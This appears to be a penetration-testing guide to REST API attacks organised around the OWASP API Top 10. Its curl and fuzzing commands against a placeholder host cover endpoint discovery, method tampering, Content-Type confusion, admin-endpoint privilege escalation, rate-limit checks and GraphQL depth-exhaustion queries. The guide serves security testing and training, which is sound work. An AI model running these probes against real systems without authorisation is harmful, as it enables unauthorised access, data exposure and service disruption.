REST API Attacks

REST APIs are the backbone of modern web and mobile applications. They expose business logic directly and often lack the same security controls as traditional web interfaces. This guide covers the OWASP API Security Top 10 attack vectors with practical exploitation techniques.

Frameworks: WSTG-ATHZ-02, -04 · ASVS 5.0 V4.1.4, V8.2.1, V8.2.2 · CWE-284, CWE-639 · T1190

The REST-Specific Surface

REST's attack surface is not the JSON — it is the routing contract around it. A resource is addressed by a path, acted on by a verb, described by a content type, and versioned by a prefix; each is a separate decision the framework makes. When the router, the authorisation filter and the serialiser disagree, the gap is the bug. BOLA, BFLA and mass assignment have their own pages; this covers the surface specific to REST.

Everything here needs one working request per resource — from the OpenAPI document, the mobile client, or the browser's traffic. Without it a 405 is ambiguous: unsupported verb, wrong route, or an edge rejection.

API Discovery & Enumeration

# Discover API endpoints:

# Check common documentation URLs:
curl -s https://target.com/swagger.json
curl -s https://target.com/openapi.json
curl -s https://target.com/api-docs
curl -s https://target.com/v2/api-docs           # Spring Boot
curl -s https://target.com/swagger/v1/swagger.json # ASP.NET
curl -s https://target.com/.well-known/openapi.json

# Fuzz API paths:
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -u https://target.com/api/FUZZ -mc 200,201,301,302,401,403,405

# Check for API versioning:
curl -s https://target.com/api/v1/users
curl -s https://target.com/api/v2/users  # May have different auth
curl -s https://target.com/api/v3/users  # Unreleased version?

# Arjun - discover hidden parameters:
arjun -u https://target.com/api/users -m GET
arjun -u https://target.com/api/users -m POST

# Kiterunner - API-aware content discovery:
kr scan https://target.com -w routes-large.kite

Verb and Method Tampering

Router-level method checks are frequently incomplete: the route table allows GET, but the handler behind it accepts whatever the framework binds. Ask the path what it admits with OPTIONS, then try the verbs it did not mention. A true positive is a state change through a verb the UI never sends — a PUT that updates a record, a PATCH that skips validation the POST path enforces. A 405 is a negative.

# What does the route admit?
curl -s -i -X OPTIONS https://target.com/api/users/42 \
  -H 'Authorization: Bearer USER_TOKEN' | grep -i '^allow:'

# Try the verbs the UI never sends
for m in GET POST PUT PATCH DELETE; do
  curl -s -o /dev/null -w "$m %{http_code}\n" -X "$m" \
    https://target.com/api/users/42 \
    -H 'Authorization: Bearer USER_TOKEN' \
    -H 'Content-Type: application/json' \
    -d '{"role":"user"}'
done

Method-override headers are the other half: an edge that only inspects POST may still forward X-HTTP-Method-Override: DELETE to an origin that honours it. Send the request with and without the header and compare effect, because a 200 on both usually means the override was ignored.

Content-Type Confusion

The body parser is chosen by Content-Type, and the authorisation filter usually runs before it. Declaring JSON as text/plain avoids a browser preflight and can bypass a rule written for application/json; sending a form body to a JSON endpoint tests whether the binder falls back. The confirmation is that the origin processed it — a created record, a changed field — not a 200 that merely echoes the request.

# Same body, three declared types
curl -s -X POST https://target.com/api/users \
  -H 'Content-Type: application/json' -d '{"name":"probe"}'
curl -s -X POST https://target.com/api/users \
  -H 'Content-Type: text/plain' -d '{"name":"probe"}'
curl -s -X POST https://target.com/api/users \
  -H 'Content-Type: application/x-www-form-urlencoded' -d 'name=probe'

# 415 = rejected cleanly. 201 plus a new record = the binder accepted a type
# the endpoint never advertised.

XML is the same test with a different parser, and worth one request per endpoint: a parser that resolves external entities is XXE.

Versioning and Inventory

Version prefixes are a security boundary nobody owns. v1 often stays alive for old mobile clients after v2 gains a control, so the test is a differential: send the same request to both prefixes with a token that v2 rejects, and see whether v1 answers. A 401 on v2 and a 200 on v1 is the finding.

Excessive Data Exposure

Compare what an endpoint returns with what the client renders. Serialising the database row and letting the UI hide fields is the common failure: the response then carries password hashes, internal flags or other users' identifiers that no screen shows. The positive is a field the caller is not entitled to — not one you merely find surprising.

API1: Broken Object Level Authorization (BOLA)

BOLA is IDOR applied to APIs: swap an object identifier (integer, UUID, email, or path segment) and see whether the server still authorizes the request. It is the most common and most severe API flaw, but the testing workflow — identifier formats, enumeration, and full CRUD checks — is documented once on the IDOR guide, so this page defers to it rather than restating the technique.

→ IDOR & Object-Level Authorization (canonical guide)

API5: Broken Function Level Authorization (BFLA)

# Test if regular user can access admin API endpoints:

# Admin endpoints to probe:
curl -s https://target.com/api/admin/users \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN'

curl -s https://target.com/api/admin/config \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN'

# HTTP method tampering:
# If GET is blocked, try other methods:
curl -X PUT https://target.com/api/admin/users/123 \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"role": "admin"}'

# Test admin APIs discovered from documentation:
# POST /api/users/{id}/promote
# DELETE /api/users/{id}
# PUT /api/config/security
# POST /api/reports/generate

# Check if internal/management endpoints are accessible:
curl -s https://target.com/api/internal/metrics
curl -s https://target.com/api/internal/health
curl -s https://target.com/api/debug/vars

JWT Token Attacks

APIs frequently authenticate with JWTs, and a misconfigured verification step (an accepted none algorithm, a weak HMAC secret, or an RS256→HS256 key-confusion bug) turns a token into a full authentication bypass. The decoding, hashcat / jwt_tool cracking, and header-injection techniques are maintained on the dedicated JWT guide.

→ JWT Attacks (canonical guide)

Rate Limiting & Resource Exhaustion

# Test API rate limiting:
for i in $(seq 1 100); do
  CODE=$(curl -s -o /dev/null -w '%{http_code}' https://target.com/api/users)
  echo "Request $i: HTTP $CODE"
done
# If all return 200 → no rate limiting!

# Test resource exhaustion via pagination:
curl -s 'https://target.com/api/users?page=1&per_page=10000' | jq '.data | length'
# Returns all users in one request → memory exhaustion attack

# GraphQL-specific: nested query depth attacks
# Deep nesting can cause exponential server processing
curl -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{users{friends{friends{friends{friends{name}}}}}}"}'

Testing Checklist

Evidence Collection

Remediation

False Positive Identification